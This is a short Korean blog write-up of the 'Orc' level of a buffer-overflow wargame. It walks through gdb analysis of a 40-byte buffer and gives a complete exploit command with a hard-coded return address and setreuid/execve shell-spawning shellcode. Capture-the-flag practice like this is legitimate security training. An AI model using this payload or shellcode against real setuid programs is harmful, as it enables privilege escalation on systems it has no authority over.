Orc 문제를 풀어보면
환경 변수를 못쓰게 막아두었다 그리고 47번째 값이 무조건 \xbf 값이 들어가게 설정되었다
gdb로 ebp 시작 위치와 버퍼의 크기를 살펴보면
r $(python -c 'print "A"*47+"\xbf"')
값을 주고 디버거로 살펴 보면
버퍼의 크기가 딱 40바이트인걸 확인할 수 있다
40바이트 A + ebp(4바이트) + eip(A 3바이트 + \xbf 1바이트) 로 이루어져 있다
eip 시작 위치 바로 다음에 쉘코드를 삽입하고 그 위치를 eip에 대입해주면 된다
r $(python -c 'print "A"*47+"\xa0\xfa\xff\xbf"+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80"')
이제 실제 파일에 보정작업 하면서 대입하면 쉘이 획득 된다
'WARGAME > BOF' 카테고리의 다른 글
[BOF] wolfman->darkelf (0) | 2018.02.08 |
---|---|
[BOF] Orc->wolfman (0) | 2018.02.08 |
[BOF] cobolt-> Goblin (0) | 2018.02.08 |
[BOF] gremlin-> cobolt (0) | 2018.02.08 |
[BOF] gate-> gremlin (0) | 2018.02.08 |